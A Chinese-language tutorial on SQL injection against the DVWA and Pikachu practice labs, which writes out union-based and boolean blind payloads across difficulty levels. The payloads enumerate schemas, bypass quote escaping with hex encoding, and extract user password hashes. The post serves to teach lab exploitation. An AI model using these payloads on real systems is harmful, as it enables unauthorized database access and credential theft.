DvwaPikachu-SQL注入-完整
SQL注入一 初级判断是否存在注入点1 or 11判断字段长度字段数 1 order by 3# 3有错误说明当前查询的结果有两个字段判断字段回显位置1 union select 1,2#判断数据库信息1 union select 1,database()#查找数据库名1 union select 1,database()# 当前的一个数据库1 union select 1,group_concat(schema_name) from information_schema.schemata # 显示所有的数据库查找数据库表1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadvwa#1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()#查找数据库表中所有字段以及字段值1 union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers#8取表中数据并猜解账号密码1 union select 1,group_concat(first_name,0x3a,password) from users#9登录管理员后台。pikachu字符型同理二、中级判断是否存在注入点1 异常1 and 11 #正常1 and 12 #异常数字型判断字段长度字段数 1 order by 3# 3有错误说明当前查询的结果有两个字段判断字段回显位置1 union select 1,2#判断数据库信息1 union select 1,database()#查找数据库名1 union select 1,database()# 当前的一个数据库1 union select 1,group_concat(schema_name) from information_schema.schemata # 显示所有的数据库查找数据库表1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadvwa# 不行被转义id1 union select 1,group_concat(table_name) from information_schema.tables where table_schema0x64767761 # SubmitSubmit1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()#查找数据库表中所有字段以及字段值1 union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers# 单引号被转义CTF在线工具-Hex在线编码|Hex在线解码|十六进制编码转换在线把users转换成十六进制然后进行id1 union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_name0x7573657273# SubmitSubmitid3 union select 1,group_concat(column_name) from information_schema.columns where table_schema0x64767761 and table_name0x7573657273 # SubmitSubmit8取表中数据并猜解账号密码1 union select 1,group_concat(first_name,0x3a,password) from users#9登录管理员后台。pikachu字符型同理三、高级判断是否存在注入点1 异常1 and 11 #正常1 and 12 #异常字符型判断字段长度字段数 1 order by 3# 3有错误说明当前查询的结果有两个字段判断字段回显位置1 union select 1,2#判断数据库信息1 union select 1,database()#查找数据库名1 union select 1,database()# 当前的一个数据库1 union select 1,group_concat(schema_name) from information_schema.schemata # 显示所有的数据库查找数据库表1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadvwa#1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()#查找数据库表中所有字段以及字段值1 union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers# 单引号被转义CTF在线工具-Hex在线编码|Hex在线解码|十六进制编码转换在线把users转换成十六进制然后进行id1 union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_name0x7573657273# SubmitSubmit8取表中数据并猜解账号密码1 union select 1,group_concat(first_name,0x3a,password) from users#9登录管理员后台。pikachu字符型同理SQL-Blind 盲注原文链接DVWA——SQL盲注全等级_dvwa盲注-CSDN博客一、LOW:1. 输入 1 and 11 # 可以看到 正常执行2. 猜解开数据库长度1 and length(database())x #3.确定数据库名字的长度输入语句显示结果1’ and length(database())1 #不存在1’ and length(database())5 #存在说明数据库名字长度是小于5的1’ and length(database())4 #存在说明数据库名字长度为41 and length(database())4 # 说明数据库名字长度就是4个字符3.数据库长度ASCII查询对照表ASCII编码对照表_911查询猜测数据库名的第一个字符ASCII的取值范围由于是DVWA靶场所以合理猜测数据库名为dvwa如果是其他场景下需要不断修改数值缩小取值范围最终确定一个取值输入语句显示结果1’ and ascii(substr(database(),1,1))97#显示存在说明第一个字符是一个小写字母且不是a。1’ and ascii(substr(database(),1,1))100#显示存在说明第一个是d1’ and ascii(substr(database(),2,1))118#显示存在说明第二个是v1’ and ascii(substr(database(),3,1))119#显示存在说明第三个是w1’ and ascii(substr(database(),4,1))97#显示存在说明第四个是a1. 用aascii猜解数据库名 1 and ascii(substr(database(),1,1))100 # 由此确定第一位ascii是100对比ascii表ASCII码对照表-完整ASCII码表-我就查查询可得 为d第二个字母v,ascii值是1181 and ascii(substr(database(),2,1))118 #第三个字母 w,ascii值是1191 and ascii(substr(database(),3,1))119#第四个字母a,ascii值是971 and ascii(substr(database(),4,1))97#综上所述数据库名字就是dvwa;4. 获取表名先判断有多少个表输入语句显示结果1’ and (select count(table_name) from information_schema.tables where table_schemadatabase())1#不存在 1’ and (select count(table_name) from information_schema.tables where table_schemadatabase())2#不存在说明表的数量是2 1’ and (select count(table_name) from information_schema.tables where table_schemadatabase())2 #存在猜想验证成功1 and (select count(table_name) from information_schema.tables where table_schemadatabase())2 #证明有2个表5.确定dvwa数据库中表名的长度输入语句分布解析1.查询列出当前连接数据库下的所有表名称select table_name from information_schema.tables where table_schemadatabase()2.列出当前连接数据库中的第1个表名称select table_name from information_schema.tables where table_schemadatabase() limit 0,1PS:limit 结果编号从0开始返回结果数量3.计算当前连接数据库第1个表名的字符串长度值length( substr ((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1))4.将当前连接数据库第1个表名称长度与某个值比较作为判断条件联合and逻辑构造特定的 sql语句 进行查询根据查询返回结果猜解表名称的长度值1’ and length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))10 #输入语句显示结果1’ and length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))10#不存在1’ and length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))8#存在说明dvwa第一个表长度为91’ and length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))9#存在验证成功实际有2个表guestbook,users;同理可以对第二个表的长度进行猜测输入语句显示结果1’ and length((select table_name from information_schema.tables where table_schemadatabase() limit 1,1))5#存在dvwa第二个表长度为56.确定dvwa数据库中表的名字与确定数据库名字类似用到ascii()和substr()两个函数。substr(str,1,1)从str的第一个字符开始截取长度1 取str的第一个字符limit 0,10-查询结果的第一个1-返回一条查询结果。 eg: limit 3,5 就是返回第4-8条数据。输入语句显示结果1’ and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))103#显示存在第一个表的第一个字符是g以此类推可以确定第一个表的名字是guestbook。guestbook中的第二个字母1’ and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),2,1))117#第二个表users确定1’ and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 1,1),1,1))117#存在第二个表的第一个字符是u以此类推可以确定1’ and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 1,1),2,1))115#存在第二个表的第二个字符是s以此类推可以确定7.确定users表中的字段数目输入语句显示结果1’ and (select count(column_name) from information_schema.columns where table_schemadatabase() and table_name‘users’)4#存在1’ and (select count(column_name) from information_schema.columns where table_schemadatabase() and table_name‘users’)9#不存在1’ and (select count(column_name) from information_schema.columns where table_schemadatabase() and table_name‘users’)7#存在1’ and (select count(column_name) from information_schema.columns where table_schemadatabase() and table_name‘users’)8#存在所以users表中有8个字段8.确定users表中的8个字段长度输入语句显示结果1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))10#不存在1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))6#存在1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))8#不存在输入1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))7#存在说明users表的第一个字段长度为7输入语句显示结果1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))10#不存在1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))6#存在1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))8#不存在输入1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))7#存在说明users表的第一个字段长度为7同理可以获取其他7个字段的长度9.确定users表中的8个字段名字由于表中的字段数目比较多长度比较长如果采用之前的按字符猜测会很耗时间。根据我们的需要判断users表中是否含有用户名和密码字段即可。根据经验猜测用户名和密码的字段名字如下用户名username/user_name/uname/u_name/user/…密码password/pass_word/pwd/pass/…猜用户名1 and (select count(*) from information_schema.columns where table_schemadatabase() and table_nameusers and column_nameusername)1 #显示不存在更换字段名再尝试发现user显示存在猜密码1 and (select count(*) from information_schema.columns where table_schemadatabase() and table_nameusers and column_namepassword)1 #显示存在综上可知users表中的用户名和密码字段分别为user和password。10.获取user和password的字段值password在存储的时候进行了MD5加密。同样先进行猜测碰撞如果不行再逐个筛选。1 and (select count(*) from users where useradmin)1 #1 and (select count(*) from users where useradmin and password5f4dcc3b5aa765d61d8327deb882cf99)1 #显示存在综上可知一组用户名-密码admin-password。二、Medium步骤和LOW相似不过变成数字型注入需要去掉1后面的单引号。使用burpsuite抓包修改id的值为注入语句即可。同时medium在源代码中对特殊符号进行了转义处理对于带有引号的字符串转换成16进制进行绕过。三、Highhigh级别会另外开启一个页面步骤类似Medium1. 随意选择一个数然后抓包1. 修改参数 1 and length(database())4 #根据布尔 盲注判断数据库名为41. 下面依旧使用sql语句进行查询步骤同上high1. 1 and 11 # 测试发现成功执行1. 盲注测试数据库名长度 1 and length(database())4 #1. 接下来的步骤同上impossible只能使用数字且设置了token 无漏洞

相关新闻

AI专著生成工具技术解析与应用指南

AI专著生成工具技术解析与应用指南

1. AI专著生成工具全景解析:从学术创作到商业写作的智能进化(开头部分自然引入主题,前100字内包含核心关键词) 最近两年,AI写作工具正在彻底改变专业内容生产的方式。作为长期从事学术出版的从业者,我亲眼见…

2026/7/31 21:55:54 阅读更多 →
Gateway网关:路由、拦截、鉴权、过滤全局控制

Gateway网关:路由、拦截、鉴权、过滤全局控制

Gateway网关:路由、拦截、鉴权、过滤全局控制微服务架构里,几十个服务各自暴露端口就像几十扇门同时敞开。网关就是那扇唯一的大门——所有请求都从这里进,统一鉴权、统一路由、统一限流。一、API网关的角色:微服务的门卫 在微服务…

2026/7/31 21:55:54 阅读更多 →
Sentinel熔断限流:容错、降级、热点防护

Sentinel熔断限流:容错、降级、热点防护

Sentinel熔断限流:容错、降级、热点防护微服务调用链就像多米诺骨牌,一个服务倒下,后面的跟着全躺。Sentinel 就是那个在关键位置挡住连锁反应的守门员。一、雪崩效应:为什么需要熔断限流 微服务架构下,服务之间存在大…

2026/7/31 21:55:53 阅读更多 →

最新新闻

Angular Snap.js核心指令详解:snap-drawer与snap-content使用指南

Angular Snap.js核心指令详解:snap-drawer与snap-content使用指南

Angular Snap.js核心指令详解:snap-drawer与snap-content使用指南 【免费下载链接】angular-snap.js AngularJS directive for snap.js 项目地址: https://gitcode.com/gh_mirrors/an/angular-snap.js Angular Snap.js是一款专为AngularJS开发的侧边栏组件库…

2026/7/31 22:38:07 阅读更多 →
10分钟入门LibreSignage:从安装到创建第一个数字标牌幻灯片的完整指南

10分钟入门LibreSignage:从安装到创建第一个数字标牌幻灯片的完整指南

10分钟入门LibreSignage:从安装到创建第一个数字标牌幻灯片的完整指南 【免费下载链接】LibreSignage A free and open source digital signage solution. 项目地址: https://gitcode.com/gh_mirrors/li/LibreSignage LibreSignage是一款免费开源的数字标牌解…

2026/7/31 22:38:07 阅读更多 →
AMF SDK高级特性:从ROI编码到SVC分层技术的应用详解

AMF SDK高级特性:从ROI编码到SVC分层技术的应用详解

AMF SDK高级特性:从ROI编码到SVC分层技术的应用详解 【免费下载链接】AMF The Advanced Media Framework (AMF) SDK provides developers with optimal access to AMD devices for multimedia processing 项目地址: https://gitcode.com/gh_mirrors/am/AMF A…

2026/7/31 22:38:07 阅读更多 →
解决Duix-Avatar项目中的SQLite3数据类型绑定错误:实用修复指南

解决Duix-Avatar项目中的SQLite3数据类型绑定错误:实用修复指南

解决Duix-Avatar项目中的SQLite3数据类型绑定错误:实用修复指南 【免费下载链接】Duix-Avatar 🚀 Truly open-source AI avatar(digital human) toolkit for offline video generation and digital human cloning. 项目地址: https://gitcode.com/GitH…

2026/7/31 22:38:07 阅读更多 →
如何高效修复损坏视频:Untrunc专业工具的完整使用指南

如何高效修复损坏视频:Untrunc专业工具的完整使用指南

如何高效修复损坏视频:Untrunc专业工具的完整使用指南 【免费下载链接】untrunc Restore a damaged (truncated) mp4, m4v, mov, 3gp video. Provided you have a similar not broken video. 项目地址: https://gitcode.com/gh_mirrors/unt/untrunc 在数字时…

2026/7/31 22:38:07 阅读更多 →
终极免费音频转换指南:如何用fre:ac轻松管理你的音乐库

终极免费音频转换指南:如何用fre:ac轻松管理你的音乐库

终极免费音频转换指南:如何用fre:ac轻松管理你的音乐库 【免费下载链接】freac The fre:ac audio converter project 项目地址: https://gitcode.com/gh_mirrors/fr/freac 在数字音乐时代,你是否曾为音频格式不兼容而烦恼?或是面对一堆…

2026/7/31 22:37:06 阅读更多 →

日新闻

物理复制比逻辑复制好在哪?数据库复制原理详解

物理复制比逻辑复制好在哪?数据库复制原理详解

数据库复制是把主库数据同步到备库的机制,分为逻辑复制和物理复制两种。逻辑复制传输的是 SQL 语句或行变更事件,物理复制传输的是存储引擎底层的物理日志。阿里云 PolarDB(云原生数据库)采用物理复制,在同步延迟、数据…

2026/7/31 0:00:34 阅读更多 →
BilibiliDown:3分钟学会B站视频下载的终极指南

BilibiliDown:3分钟学会B站视频下载的终极指南

BilibiliDown:3分钟学会B站视频下载的终极指南 【免费下载链接】BilibiliDown (GUI-多平台支持) B站 哔哩哔哩 视频下载器。支持稍后再看、收藏夹、UP主视频批量下载|Bilibili Video Downloader 😳 项目地址: https://gitcode.com/gh_mirrors/bi/Bilib…

2026/7/31 0:00:34 阅读更多 →
有哪些游戏数据AI平台?游戏行业Data+AI融合方案盘点

有哪些游戏数据AI平台?游戏行业Data+AI融合方案盘点

当前,游戏行业的“DataAI融合”已从概念验证进入价值落地阶段。根据IDC 2025年数据,中国AI游戏云市场规模已达18.6亿元;同时,游戏研发环节AI渗透率高达86%,生成式AI内容普及率超过50%。面对庞大的市场,游戏…

2026/7/31 0:00:34 阅读更多 →

周新闻

深度学习道路桥梁裂缝检测系统 道路桥梁裂缝检测数据集 道路桥梁病害识别检测数据集

深度学习道路桥梁裂缝检测系统 道路桥梁裂缝检测数据集 道路桥梁病害识别检测数据集

深度学习道路桥梁裂缝检测系统 数据集6000张 完整源码已标注数据集训练好的模型环境配置教程程序运行说明文档,可以直接使用!系统支持图片、视频、摄像头等多种方式检测裂缝,功能强大实用。 1数据集6000张 8各类别

2026/7/31 1:03:03 阅读更多 →
深度学习YOLO模型如何训练 PUBG 绝地求生目标检测数据集

深度学习YOLO模型如何训练 PUBG 绝地求生目标检测数据集

pubg数据集 精选原图1.42万数据 1.49万标签 无任何重复、算法增强或冗余图像! pubg绝地求生目标检测数据集 1分类:e_body,14905个标签,txt格式 共计14244张图,99%为640*640尺寸图像 适合yolo目标检测、AI训练关键词&am…

2026/7/29 14:34:28 阅读更多 →
Apex英雄目标检测数据集 深度学习框架YOLO如何训练APEX数据集

Apex英雄目标检测数据集 深度学习框架YOLO如何训练APEX数据集

Apex检测数据集数据集详情检测类别: allies enemy tag图片总量:7247张训练集:5139张验证集:1425张测试集:683张标注状态:全部已标注,即拿即用数据格式:支持YOLO格式及其他格式&#…

2026/7/31 4:19:39 阅读更多 →

月新闻